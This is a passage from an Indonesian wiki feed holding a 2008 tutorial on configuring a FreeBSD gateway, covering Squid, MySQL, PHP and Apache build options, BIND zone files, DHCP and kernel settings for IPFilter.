Dalam bagian ini diasumsikan bahwa kita akan menginstal program dari source kodenya, yang diekstrak ke direktori /usr/local/src, mis.: tar -xpvzf apache.tgz -C /usr/local/src.&lt;br /&gt;
bagian version number, jika ada, sebaiknya dihilangkan, mis.: mv  apache-1.1.23pl8  apache&lt;br /&gt;
&lt;br /&gt;
4.1. Squid&lt;br /&gt;
 /configure --enable-ipf-transparent \&lt;br /&gt;
&lt;br /&gt;
 #parameter lain yang perlu:&lt;br /&gt;
 --prefix=/usr/local \&lt;br /&gt;
 --bindir=\${prefix}/sbin \ &lt;br /&gt;
 --libexecdir=\${prefix}/libexec \&lt;br /&gt;
 --sysconfdir=\${prefix}/etc/squid \&lt;br /&gt;
&lt;br /&gt;
 #parameter lain yang mungkin perlu:&lt;br /&gt;
 --enable-storeio=&amp;quot;ufs diskd null&amp;quot; \&lt;br /&gt;
 --enable-removal-policies=&amp;quot;lru heap&amp;quot; \&lt;br /&gt;
&lt;br /&gt;
 #parameter tambahan:&lt;br /&gt;
 --localstatedir=\${prefix}/squid \&lt;br /&gt;
 --host=i686 \&lt;br /&gt;
 --disable-ident-lookups \&lt;br /&gt;
 --disable-wccp \&lt;br /&gt;
 --enable-kill-parent-hack \&lt;br /&gt;
 --enable-time-hack \&lt;br /&gt;
 --with-pthreads &lt;br /&gt;
&lt;br /&gt;
 make all; make install&lt;br /&gt;
&lt;br /&gt;
Dengan parameter diatas kita akan memperoleh konfigurasi squid yang mirip seperti jika kita menginstalnya melalui package.&lt;br /&gt;
Kemudian file logs dan cache di direktori /usr/local/etc/squid di chown nobody:nogroup (atau sesuai dengan usernya jika telah dibuat user untuk squid, seperti user mysql dibawah).&lt;br /&gt;
Setelah itu kita buat intial cache directory dengan menjalankan: squid -z. Default cache size adalah 100MB.&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi MySQL, PHP dan Apache==&lt;br /&gt;
&lt;br /&gt;
==MySQL==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --localstatedir=/var/db/mysql \&lt;br /&gt;
  --with-unix-socket-path=/var/run/mysql.sock \&lt;br /&gt;
  --host=i686 \&lt;br /&gt;
  --enable-assembler \&lt;br /&gt;
  --with-libwrap \&lt;br /&gt;
  --with-berkeley-db \&lt;br /&gt;
  --with-named-z-lib \&lt;br /&gt;
  --with-mysqld-ldflags=-all-static \&lt;br /&gt;
  --with-client-ldflags=-all-static \&lt;br /&gt;
  --without-debug \&lt;br /&gt;
  --without-bench \&lt;br /&gt;
  --without-docs \&lt;br /&gt;
  --without-readline&lt;br /&gt;
 &lt;br /&gt;
 make; make install&lt;br /&gt;
&lt;br /&gt;
Tambahkan user mysql dengan ID misalkan = 3036&lt;br /&gt;
&lt;br /&gt;
 pw add group mysql -g 3036&lt;br /&gt;
 pw add user mysql -u mysql -g mysql -wno -s /sbin/nologint -d /var/db/mysql -c &amp;quot;MySQL&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Direktori localstatedir (/var/db/mysql) diatas, *harus* read/write by user mysql:&lt;br /&gt;
chown -R /var/db/mysql mysql:mysql&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
Sebelumnya kita harus cd ke source apache dulu: cd /usr/local/src/apache, lalu jalankan  ./configure (plain).&lt;br /&gt;
&lt;br /&gt;
Kemudian baru cd ke source php: cd /usr/local/src/php dan mengkonfigurasi php sesuai preferensi kita.&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --build=i686 \&lt;br /&gt;
  --prefix=/usr/local \&lt;br /&gt;
  --with-mysql=/usr/local \&lt;br /&gt;
  --with-apache=../apache \&lt;br /&gt;
  --with-pcre-regex=/usr/local \&lt;br /&gt;
  --with-mcrypt \&lt;br /&gt;
  --with-zlib \&lt;br /&gt;
  --with-ftp \&lt;br /&gt;
  --enable-track-vars \&lt;br /&gt;
  --enable-ctype &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
==Apache==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --enable-module=most \&lt;br /&gt;
  --enable-shared=max \&lt;br /&gt;
  --server-uid=www \&lt;br /&gt;
  --server-gid=www \&lt;br /&gt;
  --activate-module=src/modules/php4/libphp4.a &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Penutup==&lt;br /&gt;
&lt;br /&gt;
Sesuai dengan tujuan utama tulisan ini, beberapa sub-sistem mungkin hanya sedikit atau sama sekali tidak dibahas, bagian-bagian tersebut dianggap sesuai dengan instalasi default.&lt;br /&gt;
Terakhir, penulis dengan senang hati akan menerima kritik dan saran dari pembaca semua, semoga ada manfaatnya.&lt;br /&gt;
&lt;br /&gt;
 aa, aa.delphi@yahoo.com&lt;br /&gt;
&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;/div&gt;</summary>
		<author><name>Aa</name></author>
	</entry>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4664</id>
		<title>Mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4664"/>
		<updated>2008-07-27T03:56:11Z</updated>

		<summary type="html">&lt;p&gt;Aa: /* File root.box: */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sumber:  aa, aa.delphi@yahoo.com&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dalam tulisan ini akan dibahas (mudah-mudahan) secara cukup detail, bagaimana mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global, baik dinamik maupun statik (dial-up PPP, Cable-Modem atau DSL).&lt;br /&gt;
&lt;br /&gt;
Model network seperti ini merupakan model yang sangat umum digunakan oleh warnet serta perusahaan kecil yang berniat untuk memberikan akses internet yang murah meriah bagi para karyawannya.&lt;br /&gt;
&lt;br /&gt;
Teknik yang akan dibahas ini merupakan salah satu (mungkin merupakan yang terbaik) dibandingkan dengan alternatif lainnya seperti menggunakan hardware tertentu (modem dengan kapabilitas internet sharing), kelemahan: jumlah host sangat terbatas, antara 2 - 8, serta fleksibilitasnya sangat rendah, hampir tanpa menggunakan pengamanan dari intruder.&lt;br /&gt;
&lt;br /&gt;
Pilihan lainnya adalah dengan sistem operasi MS Windows (yang sudah sangat familiar), fleksibilitas cukup, namun dengan tingkat pengamanan yang relatif rendah.&lt;br /&gt;
&lt;br /&gt;
Pilihan OS lainnya seperti Linux, OpenBSD atau Solaris bisa juga diperhitungkan, namun overall performance, kombinasi FreeBSD dan IPF adalah yang terbaik dinilai dari segi keamanan/security, performansi, dukungan resources (software, kompatibilitas, utilitas dan dokumentasi) yang tersedia, serta biaya yang dibutuhkan. Dengan FreeBSD mesin 386 tua milik kita disulap menjadi sebuah server yang powerful, robust dan tahan banting.&lt;br /&gt;
&lt;br /&gt;
cat: IPF (IPFilter) adalah paket firewal native dari OpenBSD, sistem operasi yang selama ini dinilai sebagai salah satu OS yang dianggap paling secure.&lt;br /&gt;
&lt;br /&gt;
==Topologi Network==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
===============================================&lt;br /&gt;
&lt;br /&gt;
             _____&lt;br /&gt;
            | ISP |&lt;br /&gt;
            |_____|&lt;br /&gt;
  DNS: 202.155.0.10, 202.155.0.20&lt;br /&gt;
               |&lt;br /&gt;
               | 10.20.30.40&lt;br /&gt;
            ___|___  &lt;br /&gt;
           |FreeBSD|........... &lt;br /&gt;
           |_______|  Virtual-Host 192.168.2.1&lt;br /&gt;
  my.domain.box|  Gateway      &lt;br /&gt;
   192.168.1.1 |  Firewall - IPF/IPNAT&lt;br /&gt;
               |  DNS Server - BIND&lt;br /&gt;
   Network:    |  HTTP Server - Apache&lt;br /&gt;
   192.168.1.0 |  Proxy Server - Squid&lt;br /&gt;
  255.255.255.0|  SQL Server - MySQL&lt;br /&gt;
               |  &lt;br /&gt;
               |  &lt;br /&gt;
      _________|____...___    &lt;br /&gt;
     |     |     |        |  &lt;br /&gt;
   __|__ __|__ __|__    __|__&lt;br /&gt;
   Host1 Host2 Host3    HostN&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ada 3 pokok bahasan utama dalam kasus ini.&lt;br /&gt;
# DNS&lt;br /&gt;
# DHCP Server&lt;br /&gt;
# IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
lain-lain: Apache, MySQL dan Squid tidak akan dibahas panjang karena tidak esensial dalam konteks ini.&lt;br /&gt;
&lt;br /&gt;
==DNS==&lt;br /&gt;
&lt;br /&gt;
Untuk mengaktifkan name server jalankan /stand/sysinstal pilih menu Configure, kemudian Startup, lalu aktifkan (enable) named. Jika anda ingin menjalankan named dalam sandbox, isi named flags dengan argumen seperti dalam uraian butir 1.3.&lt;br /&gt;
&lt;br /&gt;
Cara lainnya adalah dengan mengedit langsung /etc/rc.conf, ganti atau tambahkan entri di &lt;br /&gt;
&lt;br /&gt;
 /etc/rc.conf:&lt;br /&gt;
   named_enable=&amp;quot;yes&amp;quot;&lt;br /&gt;
   named_flags=&amp;quot;&amp;quot;  #lihat uraian selanjutnya&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Cache-Only DNS Server==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi DNS yang paling sederhana, yang kemungkinan besar akan berjalan lancar adalah menggunakan konfigurasi jenis cache-only DNS Server, artinya server DNS kita TIDAK memiliki otoritas atas satu zone-pun juga kecuali localhost dan loopback network 127.&lt;br /&gt;
&lt;br /&gt;
Kekurangan dari model DNS Server seperti ini adalah, tentu saja, host-host dalam network kita tidak dapat saling mengenal. Hal ini bisa kita uji dengan perintah ping dari satu host terhadap host lainnya.&lt;br /&gt;
&lt;br /&gt;
cat.: Dalam terminologi BIND, zone adalah suatu area network dimana sebuah server DNS memiliki otoritas atas pengaturan nama atas host-host yang ada di dalamnya.&lt;br /&gt;
&lt;br /&gt;
Untuk network yang relatif sederhana seperti pada small-office atau di organisasi kecil, suatu zone umumnya hanya berupa satu domain, sementara di organisasi yang cukup besar, seperti di lingkungan kampus dan terutama di sebuah ISP, biasanya sebuah server DNS akan menangani suatu zone yang terdiri atas lebih dari satu domain.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP kita misalnya:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
 1 IN PTR localhost.domain.box.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Untuk menghindari salah ketik, sebaiknya kita cukup menjalankan perintah: sh make-localhost di direktori /etc/namedb.&lt;br /&gt;
&lt;br /&gt;
==File root.servers:==&lt;br /&gt;
File ini tidak perlu dirubah, biarkan saja sesuai defaultnya.&lt;br /&gt;
&lt;br /&gt;
==Internal-Root DNS Server==&lt;br /&gt;
Seperti dapat dilihat pada gambar diatas, network kita termasuk kedalam network kelas C, dengan alamat 192.168.1.0 dan netmask 255.255.255.0. IP address network card pertama (if_1) ditetapkan oleh ISP, sementara if_2 dapat kita tentukan sendiri.&lt;br /&gt;
&lt;br /&gt;
Selanjutnya kita dapat menetapkan hal-hal sebagai berikut:&lt;br /&gt;
&lt;br /&gt;
 Zone/domain: domain.box&lt;br /&gt;
 Reverse-Network: 1.168.192.in-addr.arpa&lt;br /&gt;
 Server address: 192.168.1.1&lt;br /&gt;
 Server name: my.domain.box&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf:==&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi awal (Cache-Only DNS Server):==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
   version &amp;quot;19.09.1969&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi named.conf yang perlu ditambahkan (atau dirubah):==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 forward;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;domain.box&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.db&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;1.168.192.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   //file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
   file &amp;quot;box/root.box&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
Tidak perlu ada perubahan dalam file ini, sama dengan butir 1.1.2.1 diatas.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==File domain.db:==&lt;br /&gt;
&lt;br /&gt;
Berisi daftar translasi name to address untuk seluruh host yang ada di domain domain.box, hati-hati character comment di sini adalah semi-colon (;) bukan hash (#).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 localhost IN A 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
 my IN A 192.168.1.1&lt;br /&gt;
 host1 in cname my&lt;br /&gt;
 host2 IN A 192.168.1.2&lt;br /&gt;
 host3 IN A 192.168.1.3&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 host254 IN A 192.168.1.254&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa dalam database ini kita perlu menambahkan entri untuk localhost, sehingga setiap rujukan atas localhost, dari manapun juga, akan diarahkan ke loopback masing-masing.&lt;br /&gt;
&lt;br /&gt;
==File domain.rev:==&lt;br /&gt;
Kebalikan dari domain.db, merupakan reverse address to name atas domain.box untuk network 192.168.1.0/24&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box. &lt;br /&gt;
&lt;br /&gt;
 1 IN PTR my&lt;br /&gt;
 2 IN PTR host1&lt;br /&gt;
 3 IN PTR host2&lt;br /&gt;
 ..&lt;br /&gt;
 254 IN PTR host254&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa tidak bisa dilakukan reverse untuk alias atau CNAME (canonical-name). Tidak diperbolehkan terdapat *dua entri yang sama* untuk *satu nomor address*, atau dengan kata lain, satu nomor adress tidak boleh merujuk kepada dua nama yang berbeda. Sebaliknya bisa saja terdapat dua nomor address untuk satu nama, misalnya jika kita memiliki dua atau lebih network card dalam satu host yang masing-masing memiliki IP sendiri.&lt;br /&gt;
&lt;br /&gt;
==File root.box:==&lt;br /&gt;
&lt;br /&gt;
File ini merupakan modifikasi dari file root.servers, yaitu dengan menambahkan RR (Resource Record) yang menyatakan bahwa server kita memiliki otoritas atas root domain.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;domain &amp;quot;domain.box&amp;quot; didelegasikan langsung dari root&lt;br /&gt;
 domain.box. 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;juga reverse dari class-C network &lt;br /&gt;
 1.168.192.in-addr.arpa 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;glue records&lt;br /&gt;
 my.domain.box. IN A 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
 ;daftar root server selanjutnya sama dengan default di file root.servers&lt;br /&gt;
 ..&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==DNS Server in the sand-box==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi server DNS ini terutama ditujukan untuk memperketat sekuriti sistem network, prinsipnya sederhana, yaitu menjalankan servis DNS (named) oleh non-privilege user, untuk ini biasanya sengaja dibuat satu user khusus, tanpa fasilitas login.&lt;br /&gt;
Sebenarnya untuk model network kita yang sederhana, ancaman sekuriti yang ada mungkin tidak akan terlalu serius. Konfigurasi ini bisa jadi sebagai opsi yang bisa diambil ataupun tidak.&lt;br /&gt;
&lt;br /&gt;
1.3.1&lt;br /&gt;
  Buat user baru untuk servis DNS, misalnya dengan nama: bind.&lt;br /&gt;
  User group: bind (default)&lt;br /&gt;
  User home: /usr/local/bind&lt;br /&gt;
  shell: no, nologin atau nonexistent&lt;br /&gt;
&lt;br /&gt;
1.3.2&lt;br /&gt;
  ganti atau tambahkan entri di /etc/rc.conf:&lt;br /&gt;
  named_flags=&amp;quot;-u bind -g bind -w /usr/local/bind -c named.conf -t /usr/local/bind&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Penjelasan atas argumen:&lt;br /&gt;
  -u dan -g: user serta group yang menjalankan servis DNS adalah &amp;quot;bind&amp;quot;.&lt;br /&gt;
  -w dan -c: direktori kerja dan nama file konfigurasi yang dipakai.&lt;br /&gt;
  -t: setelah melakukan inisialisasi, servis DNS menjadikan /usr/local/bind&lt;br /&gt;
  sebagai root direktorinya (chroot).&lt;br /&gt;
&lt;br /&gt;
  Dengan penggantian user, group dan chroot, servis DNS ini tidak lagi memiliki akses tak-terbatas atas resources, sehingga perlu dilakukan lagi beberapa penyesuaian:&lt;br /&gt;
&lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Servis named dan ndc biasanya menampilkan prosess-id-nya dibawah sub-direktori /var/run, karena root-directory-nya berubah, maka kita harus membuat secara manual subdirektori /var/run dibawah /usr/local/bind, jangan lupa ownershipnya harus disesuaikan menjadi bind:bind&lt;br /&gt;
  &lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Jika penyesuaian sub-direktori diatas tidak dilakukan maka setidaknya harus dibuat penyesuaian dalam option named.conf:&lt;br /&gt;
[pre]&lt;br /&gt;
  options {&lt;br /&gt;
    ...&lt;br /&gt;
&lt;br /&gt;
    directory &amp;quot;/&amp;quot;; //(atau mudahnya hapus saja option ini)&lt;br /&gt;
    pid-file &amp;quot;named.pid&amp;quot; //named.pid berada di direktori root yang baru&lt;br /&gt;
&lt;br /&gt;
    ...&lt;br /&gt;
  }&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
1.3.3&lt;br /&gt;
&lt;br /&gt;
  Pindahkan atau salin /etc/namedb ke /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
  cat.: Perhatikan ownership dari /usr/local/bind, jika kita menyalinnya dengan tool atau file-manager seperti midnight- commander, biasanya ownership akan berubah dari bind ke root (atau privileged user pada saat itu), sehingga harus dikembalikan lagi dengan chown -r bind:bind /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
  Penyesuaian ownership ini juga berlaku untuk direktori baru dibawahnya yang kelak digunakan untuk file-file yang meminta akses-tulis seperti log, dump, stat, pid, dsb. &lt;br /&gt;
&lt;br /&gt;
1.3.4&lt;br /&gt;
[pre]&lt;br /&gt;
  Hentikan proses named yang saat itu berlangsung (dengan kill, killall atau top), lalu aktifkan kembali named (dengan argumen seperti named_flags diatas), atau reboot server.&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
2. DHCP Server&lt;br /&gt;
&lt;br /&gt;
2.1. Instalasi dan Setup&lt;br /&gt;
&lt;br /&gt;
Dengan /stand/sysinstall, install package isc-dhcpd.&lt;br /&gt;
Instalasi ini hanya sekedar mengekstrak program dan dokumentasi dhcpd, kita *harus* membuat sebuah file yaitu /var/db/dhcpd.lease secara manual: touch /var/db/dhcpd.leases.&lt;br /&gt;
Edit file /usr/local/etc/dhcpd.conf dengan editor kesayangan anda, fi-ay :), dan buat alokasi dinamis IP addresses untuk network 192.168.1.0/24 misalnya:&lt;br /&gt;
&lt;br /&gt;
#jangan lupa menggunakan fasilitas syslog&lt;br /&gt;
#dalam syslog.conf tambahkan entry sbb:&lt;br /&gt;
#  local7*	/var/log/dhcpd.log	#awas: pake TAB, jangan pake spasi!&lt;br /&gt;
&lt;br /&gt;
log-facility local7;&lt;br /&gt;
authoritative;&lt;br /&gt;
ddns-update-style ad-hoc;&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;domain.box&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
subnet 192.168.1.0 netmask 255.255.255.0 {&lt;br /&gt;
  option netbios-name-servers 192.168.1.3; #server NT kita&lt;br /&gt;
  option domain-name-servers 192.168.1.1;&lt;br /&gt;
  option routers 192.168.1.1;&lt;br /&gt;
  pool { range 192.168.1.10 192.168.1.190; }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2.2. Menjalankan dhcpd&lt;br /&gt;
DHCP server sebaiknya dijalankan pada saat boot-up dengan membuat file startup di /usr/local/etc/rc.d&lt;br /&gt;
Untuk menjalankan secara manual ketikan perintah: dhcpd if_2 (if_2 adalah interface yang terhubung dengan network lokal)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
&#039;Official&#039; firewall dari FreeBSD adalah ipfw/natd, kelebihan ipfw terutama adalah kemampuan untuk mengatur kuota bandwith, sementara kelebihan ipf/ipnat yang paling utama adalah performansi. Juga menurut authornya, ipf benar-benar melakukan kontrol terhadap TCP/IP state, tidak cuma artifisial (sekedar mengecek kombinasi flags tertentu seperti SYN/ACK) seperti yang dilakukan dalam paket firewall lainnya.&lt;br /&gt;
&lt;br /&gt;
Dalam bahasan kali ini, kita akan menggunakan IPFilter/IPNAT.&lt;br /&gt;
&lt;br /&gt;
3.1. Kompilasi kernel&lt;br /&gt;
&lt;br /&gt;
Untuk memasang firewall kita harus mengkompile ulang kernel (selanjutnya kita bisa mencopot-pasang lagi lewat loadable kernel module).&lt;br /&gt;
&lt;br /&gt;
3.1.1 Konfigurasi kernel&lt;br /&gt;
&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
option tambahan kernel kita dari GENERIC adalah sbb:&lt;br /&gt;
&lt;br /&gt;
#--- start kernel options ---&lt;br /&gt;
#hapus semua options cpu kecuali model tertinggi sesuai cpu anda&lt;br /&gt;
#cpu		I386_CPU&lt;br /&gt;
#cpu		I486_CPU&lt;br /&gt;
#cpu		I586_CPU&lt;br /&gt;
cpu		I686_CPU&lt;br /&gt;
maxusers	32&lt;br /&gt;
&lt;br /&gt;
#kostumisasi kernel (lihat juga catatan tambahan)&lt;br /&gt;
ident		AA&lt;br /&gt;
makeoptions	KERNEL=AA		&lt;br /&gt;
&lt;br /&gt;
#jangan lupa mengganti entri di /boot atau /etc/defaults/rc.conf&lt;br /&gt;
#userconfig_script_load=&amp;quot;YES&amp;quot;&lt;br /&gt;
#kernel=&amp;quot;/AA&amp;quot;&lt;br /&gt;
#verbose_loading=&amp;quot;YES&amp;quot;&lt;br /&gt;
#autoboot_delay=&amp;quot;3&amp;quot;&lt;br /&gt;
#bootfile=&amp;quot;AA,aa,kernel&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#kita tidak memakai 386SX kebawah, jadi emulasi mathco bisa dihapus saja&lt;br /&gt;
#options 	GPL_MATH_EMULATE	#Support for x87 emulation&lt;br /&gt;
&lt;br /&gt;
#console menggunakan teks mode 90x60&lt;br /&gt;
device		vga0	at isa?&lt;br /&gt;
options		VGA_WIDTH90		#90 baris VGA&lt;br /&gt;
options		VESA&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti tambahkan font dan screenflags di /etc/rc.conf sbb:&lt;br /&gt;
#font8x14=&amp;quot;cp437-8x14&amp;quot;&lt;br /&gt;
#font8x16=&amp;quot;cp437-8x16&amp;quot;&lt;br /&gt;
#font8x8=&amp;quot;cp437-8x8&amp;quot;&lt;br /&gt;
#allscreens_flags=&amp;quot;VGA_90x60&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#hapus splash screen/screen saver.&lt;br /&gt;
#pseudo-device	splash&lt;br /&gt;
&lt;br /&gt;
#selain UFS, dalam box kita terdapat juga NTFS dan EXT2FS&lt;br /&gt;
options 	NTFS		#NT&lt;br /&gt;
options 	EXT2FS		#Linux&lt;br /&gt;
options         NFS_NOSERVER	#Membuang kode NFS&lt;br /&gt;
&lt;br /&gt;
#options         UNION		#UFS bisa digabung&lt;br /&gt;
#options         NULLFS		#null&lt;br /&gt;
#options         UMAPFS		#UID Map FileSystem&lt;br /&gt;
#options         KERNFS		#kernel&lt;br /&gt;
#options         SMBFS		#SMB/File Sharing ala Windows&lt;br /&gt;
#options         PROCFS		#memetakan Process ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Tambahkan flags 0xb0ff (maks. drive blok transfer) untuk hard-disk&lt;br /&gt;
# untuk sepasang hard-disk per-interface flagsnya adalah 0xb0ffb0ff&lt;br /&gt;
device	ata0	at isa? port IO_WD1 irq 14 flags 0xb0ffb0ff&lt;br /&gt;
device	ata1	at isa? port IO_WD2 irq 15 flags 0xb0ffb0ff&lt;br /&gt;
&lt;br /&gt;
options 	SOFTUPDATES	#penting untuk meningkatkan performansi&lt;br /&gt;
options 	ATA_STATIC_ID	#Static device numbering&lt;br /&gt;
&lt;br /&gt;
#hapus saja tape-drive.&lt;br /&gt;
#device		atapist		# ATAPI tape drives&lt;br /&gt;
&lt;br /&gt;
# jika menggunakan APM, sebaiknya tidak.&lt;br /&gt;
#device	apm0    at nexus? disable flags 0x20 # Advanced Power Management&lt;br /&gt;
&lt;br /&gt;
# PCCARD (PCMCIA) support, buang saja&lt;br /&gt;
#device	card&lt;br /&gt;
#device	pcic0	at isa? irq 0 port 0x3e0 iomem 0xd0000&lt;br /&gt;
#device	pcic1	at isa? irq 0 port 0x3e2 iomem 0xd4000 disable&lt;br /&gt;
&lt;br /&gt;
#Buang saja serial 2 dan 3&lt;br /&gt;
#device	sio2	at isa? disable port IO_COM3 irq 5&lt;br /&gt;
#device	sio3	at isa? disable port IO_COM4 irq 9&lt;br /&gt;
&lt;br /&gt;
#Buang juga koneksi lewat Parallel port&lt;br /&gt;
#device	plip		# TCP/IP over parallel&lt;br /&gt;
#device	ppi		# Parallel port interface device&lt;br /&gt;
#device	vpo		# Requires scbus and da&lt;br /&gt;
&lt;br /&gt;
#Buang semua entri ethernet yang tidak ada&lt;br /&gt;
#saya cuma punya 3Com 3C509, 3C905 dan realtek&lt;br /&gt;
device	ep		# 3Com 3C509 (10 MBps)&lt;br /&gt;
device	xl		# 3Com 3c905 (10/100)&lt;br /&gt;
device	rl		# RealTek 8129/8139 (10/100)&lt;br /&gt;
